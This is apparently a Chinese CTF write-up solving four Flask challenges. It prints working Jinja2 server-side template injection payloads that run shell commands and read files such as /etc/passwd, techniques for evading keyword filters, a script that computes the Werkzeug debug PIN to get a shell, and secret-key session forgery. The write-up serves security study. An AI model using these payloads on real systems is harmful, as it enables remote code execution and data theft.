BUU刷题记录-flask漏洞学习

[CSCCTF 2019 Qual]FlaskLight

F12得到一段信息:

Parameter Name: search
Method: GET

应该要以GET请求传递search参数,直接上payload:

1
?search={{config}}

得到SECRET_KEY:CCC{f4k3_Fl49_:v} CCC{the_flag_is_this_dir},接下来就尝试在当前目录读取flag文件。

上payload:

1
{{()|attr(request['args']['x1'])|attr(request['args']['x2'])|attr(request['args']['x3'])()|attr(request['args']['x4'])(233)|attr(request['args']['x5'])|attr(request['args']['x6'])|attr(request['args']['x4'])(request['args']['x7'])|attr(request['args']['x4'])(request['args']['x8'])(request['args']['x9'])}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('cat /flasklight/coomme_geeeett_youur_flek').read()

除此之外,还可以通过<class 'subprocess.Popen'>类实现命令执行:(预期解)

1
{{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

[pasecactf_2019]flask_ssti

题目描述:

1
2
3
4
def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

app.config['flag'] = encode('','GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W34','xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT5')

页面一个输入框,源码也没有提示,直接尝试{{1+1}},回显2,存在SSTI漏洞。 通过{{config}}读取config获得flag字段信息:

'flag': '-M7\x10w\x14586S'7)\x0eJ\thU(DNI\r\x17 iT2\x02T\x13Yt\x0b*}F`E\x07\x1aG'

直接脚本解密得flag

一波fuzz,发现_.'被过滤,分别用\x5f、[]、"绕过。

上payload:

1
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("cat *")|attr("read")()}}

得源码,懒得整理就不发了,审计一下发现flag会被删除,直接去/proc/self/fd/文件夹中找flag。

payload:

1
{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/proc/self/fd/3")}}

[GYCTF 2020]FlaskApp -- PIN

      先看一下整体功能,一共有三个路由,分别用来base64加密、base64解密和提示,而提示的源代码处有<!-- PIN --->的hint,想来应该是开了debug需要我们计算PIN码。

      现在回看之前的输入框,直接尝试模板注入{{7*7}},在加密路由的输入框中正常回显,而在解密路由中返回了no no no !! 的字符,接着尝试{{1+1}}返回了2,证明存在模板注入漏洞。一番瞎jr尝试后,通过debug界面,获得部分源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 : {0}".format(text_decode.decode())
        if waf(tmp):
            flash("no no no !!")
            return redirect(url_for('decode'))
        res =  render_template_string(tmp)
        flash(res)
        return redirect(url_for('decode'))
    else:
        text = ""

读源码:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

获得源码,在源码中找到waf:

1
2
3
4
5
def waf(str):
    black_list = ["flag", "os", "system", "popen", "import", "eval", "chr", "request", "subprocess", "commands", "socket", "hex", "base64", "*", "?"]
    for x in black_list:
        if x in str.lower():
            return 1

接下来有两种方法完成flag读取:

解一:字符串拼接

      非预期,这种方法原理是通过字符串拼接绕过waf列举目录获得flag文件名,然后读取flag

1
2
# 列举目录
{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

获得根目录文件:

'bin', 'boot', 'dev', 'etc', 'home', 'lib', 'lib64', 'media', 'mnt', 'opt', 'proc', 'root', 'run', 'sbin', 'srv', 'sys', 'tmp', 'usr', 'var', 'this_is_the_flag.txt', '.dockerenv', 'app'

发现根目录下flag文件名为this_is_the_flag.txt,接下来读取flag(两种方法):

读取flag一:字符串拼接

payload:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

读取flag二:字符倒序输出

      除了这种字符串拼接,大佬还出了一个骚姿势:通过txt.galf_eht_si_siht/[::-1]将字符倒序输出

payload:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read()}}{% endif %}{% endfor %}

解二:PIN码RCE

      尽管我已经被大佬的姿势骚断了腿,预期解的思路还是要学一下:通过计算PIN码值调用python shell实现RCE

Flask debug 模式 PIN 码生成机制安全性研究笔记一文中详细论述了PIN码的生成条件及方法。

总结如下:

  1. 服务器运行flask所登录的用户名。通过/etc/passwd中可以猜测为flaskweb 或者root
  2. modname。一般不变就是flask.app
  3. getattr(app, "__name__", app.__class__.__name__)。python该值一般为Flask,该值一般不变
  4. flask库下app.py的绝对路径。报错信息会泄露该值。题中为/usr/local/lib/python3.7/site-packages/flask/app.py
  5. 当前mac地址的十进制数。通过文件/sys/class/net/eth0/address 获取(eth0为网卡名),本题为02:42:ae:01:0d:25,转换后为2485410401573
  6. 机器id

条件一:登陆用户名

      payload:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read()}}{% endif %}{% endfor %}

获得flaskweb:x:1000:1000::/home/flaskweb:/bin/sh,可知当前登录名为flaskweb

条件二:modename

      默认值:flask.app

条件三:app当前模块名

      默认值:Flask

条件四:app.py的绝对路径

      由报错信息获取:/usr/local/lib/python3.7/site-packages/flask/app.py

条件五:当前mac地址的十进制数

      通过读取文件/sys/class/net/eth0/address获取(payload同上):02:42:ae:01:8f:35。当前显示的mac地址是十六进制形式,直接转化为十进制数:2485410434869

条件六:机器id

      对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。

      对于docker机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id.

读取/proc/self/cgroup获得机器id:76436f52e3600c39177341a4c2cd3a6890dd5c50cc9fb1ff50f2fe3673d5d42d

      至此,集齐了生成PIN码所有的条件,接下来就是"召唤"PIN码,生成PIN码文件路径:{Python Lib根目录}\site-packages\werkzeug\debug\__init__.py

贴一下大佬的"召唤"脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb'# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485410388611',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '310e09efcc43ceb10e426a0ffc99add5c651575fe93627e6019400d4520272ed'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

填入条件后生成PIN码:193-401-638

在调试界面打开shell,执行命令:

1
2
3
4
import os
os.popen("ls /").read()
os.popen("cat /this_is_the_flag.txt").read()
# 这里使用popen的原因是system不会产生回显

[CISCN2019 总决赛 Day1 Web3]Flask Message Board

      站点有三个输入框,分别是TitleAuthorContent,测试SSTI,在Author处存在SSTI,并在Info框中回显(本身的框中也会回显,但是Info框好看),输入时抓包解密session得{"admin":false,"name":"{{1+1}}"}

      思路应该是SSTI得到SECRET_KEY伪造session登录admin,然后在输入'{{1*1}}'时回显reject because You are: Bot or hacker说明存在waf,fuzz一下,结果出了问题:

      只在Author框中输入会全部被waf,这里应该是进行了输入检测,并且其他两个输入框waf了config这个关键字,于是通过{{1+1}}{{config}}成功得到了config:'SECRET_KEY': '1ll||1IilI1l1|1l1i|IiI1||I||llIl1I|i|i|I'

然后就可以伪造session登录admin,但是又发现了一个坑:

      使用SECRET_KEY解密session时admin的false会变为False,而我们加密时如果使用小写的false是无法成功加密的。。。

成功登陆后进入/admin路由,发现两个输入框、文件上传按钮和一串隐藏的字符串hint here ↑↑↑↑↑↑,指向的字段是Update bot checker model,F12得到注释hint:

zip file with detection.meta detection.index detection.data-00000-of-00001 3 TensorFlow(1.12) files!
The model need x:0 to input a number , and y:0 to output the result "Human" or "Bot"

并在下面又发现了其他路由:

<a href="/admin/source_thanos">Open Source</a> 获得源码
Todo: add /admin/model_download button 下载模型

下载模型之后看不懂。。。转去看源码,发现源码是随机显示一部分,但是好在位置固定,通过脚本复原即可:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import requests
url = 'http://8567734a-8c12-4f70-bfee-6f10e978f956.node3.buuoj.cn/admin/source_thanos'
r = requests.get(url)
source = r.text
for j in range(10):
    r = requests.get(url)
    for i in range(len(source)):
        if source[i].isspace():
            source = source[:i] + r.text[i] + source[i+1:]
print(source)

得到源码:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
# coding=utf8
from flask import Flask, flash, send_file
import random
from datetime import datetime
import zipfile

# init app
app = Flask(__name__)
app.secret_key = ''.join(random.choice("il1I|") for i in range(40))
print(app.secret_key)

from flask import Response
from flask import request, session
from flask import redirect, url_for, safe_join, abort
from flask import render_template_string

from data import data

post_storage = data
site_title = "A Flask Message Board"
site_description = "Just leave what you want to say."

# %% tf/load.py
import tensorflow as tf
from tensorflow.python import pywrap_tensorflow


def init(model_path):
    '''
    This model is given by a famous hacker !
    '''
    new_sess = tf.Session()
    meta_file = model_path + ".meta"
    model = model_path
    saver = tf.train.import_meta_graph(meta_file)
    saver.restore(new_sess, model)
    return new_sess


def renew(sess, model_path):
    sess.close()
    return init(model_path)


def predict(sess, x):
    '''
    :param x: input number x
        sess: tensorflow session
    :return: b'You are: *'
    '''
    y = sess.graph.get_tensor_by_name("y:0")
    y_out = sess.run(y, {"x:0": x})
    return y_out


tf_path = "tf/detection_model/detection"
sess = init(tf_path)


# %% tf end

def check_bot(input_str):
    r = predict(sess, sum(map(ord, input_str)))
    return r if isinstance(r, str) else r.decode()

def render_template(filename, **args):
    with open(safe_join(app.template_folder, filename), encoding='utf8') as f:
        template = f.read()
    name = session.get('name', 'anonymous')[:10]  
    # Someone call me to add a remembered_name function
    # But I'm just familiar with PHP !!!

    # return render_template_string(
    #     template.replace('$remembered_name', name)
    #         .replace('$site_description', site_description)
    #         .replace('$site_title', site_title), **args)
    return render_template_string(
        template.replace('$remembered_name', name), site_description=site_description, site_title=site_title, **args)


@app.route('/')
def index():
    global post_storage
    session['admin'] = session.get('admin', False)
    if len(post_storage) > 20:
        post_storage = post_storage[-20:]
    return render_template('index.html', posts=post_storage)


@app.route('/post', methods=['POST'])
def add_post():
    title = request.form.get('title', '[no title]')
    content = request.form.get('content', '[no content]')
    name = request.form.get('author', 'anonymous')[:10]
    try:
        check_result = check_bot(content)
        if not check_result.endswith('Human'):
            flash("reject because %s or hacker" % (check_result))
            return redirect('/')
        post_storage.append(
            {'title': title, 'content': content, 'author': name, 'date': datetime.now().strftime("%B %d, %Y %X")})
        session['name'] = name
    except Exception as e:
        flash('Something wrong, contact admin.')  
    return redirect('/')


@app.route('/admin/model_download')
def model_download():
    '''
    Download current model.
    '''
    if session.get('admin', True):
        try:
            with zipfile.ZipFile("temp.zip", 'w') as z:
                for e in ['detection.meta', 'detection.index', 'detection.data-00000-of-00001']:
                    z.write('tf/detection_model/'+ e, arcname=e)
            return send_file("temp.zip", as_attachment=True, attachment_filename='model.zip')
        except Exception as e:
            flash(str(e))
            return redirect('/admin')
    else:
        return "Not a admin **session**. <a href='/'>Back</a>"


@app.route('/admin', methods=['GET', 'POST'])
def admin():
    global site_description, site_title, sess
    if session.get('admin', False):
        print('admin session.')
        if request.method == 'POST':
            if request.form.get('site_description'):
                site_description = request.form.get('site_description')
            if request.form.get('site_title'):
                site_title = request.form.get('site_title')
            if request.files.get('modelFile'):
                file = request.files.get('modelFile')
                # print(file, type(file))
                try:
                    z = zipfile.ZipFile(file=file)
                    for e in ['detection.meta', 'detection.index', 'detection.data-00000-of-00001']:
                        open('tf/detection_model/' + e, 'wb').write(z.read(e))
                    sess = renew(sess, tf_path)
                    flash("Reloaded successfully")
                except Exception as e:
                    flash(str(e))
        return render_template('admin.html')
    else:
        return "Not a admin **session**. <a href='/'>Back</a>"


@app.route('/admin/source') # <--here ♂ boy next door
def get_source():
    return open('app.py', encoding='utf8').read()


@app.route('/admin/source_thanos')
def get_source_broken():
    '''
    Thanos is eventually resurrected,[21] and collects the Infinity Gems once again.[22]
    He uses the gems to create the Infinity Gauntlet, making himself omnipotent,
    and erases half the living things in the universe to prove his love to Death.
    '''
    t = open('app.py', encoding='utf8').read()
    tt = [t[i] for i in range(len(t))]
    ll = list(range(len(t)))
    random.shuffle(ll)
    for i in ll[:len(t) // 2]:
        if tt[i] != '\n': tt[i] = ' '
    return "".join(tt)

整理一下得到的信息:

  1. zip file with detection.meta detection.index detection.data-00000-of-00001 3 TensorFlow(1.12) files! zip文件内容(TensorFlow模型文件)
  2. The model need x:0 to input a number , and y:0 to output the result "Human" or "Bot" 一个输入点(输入一个数字)和输出点(输出Human或Bot)
  3. 站点源码

懒狗不想了解tensorflow,开始乾坤大挪移(官方wp):

通过tensorflow运行下面代码,

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import tensorflow as tf
# Tensorboard可视化
def init(model_path):
    new_sess = tf.Session()
    meta_file = model_path + ".meta"
    model = model_path
    saver = tf.train.import_meta_graph(meta_file)
    saver.restore(new_sess, model)
    return new_sess
sess = init('detection_model/detection')
writer = tf.summary.FileWriter("./log", sess.graph)
# 然后在命令行执行tensorboard --logdir ./log

在对应端口查看图结构,发现当输入的字符串字符总和为1024时会触发读取/flag的后门,此时转向处理输入的函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
def predict(sess, x):
    '''
    :param x: input number x
        sess: tensorflow session
    :return: b'You are: *'
    '''
    y = sess.graph.get_tensor_by_name("y:0")
    y_out = sess.run(y, {"x:0": x})
    return y_out

def check_bot(input_str):
    r = predict(sess, sum(map(ord, input_str)))
    return r if isinstance(r, str) else r.decode()

# check_result = check_bot(content)
# check_bot函数只处理了输入框接收的内容,因此只有输入框可以触发读取`/flag`的后门。

这里将输入的字符串转化为ASCII码然后求和作为x的值,需要将x的值改为1024,于是构造一个ASCII码值和为1024的字符串赋值x:

aaaaaabxCZC

回显flag。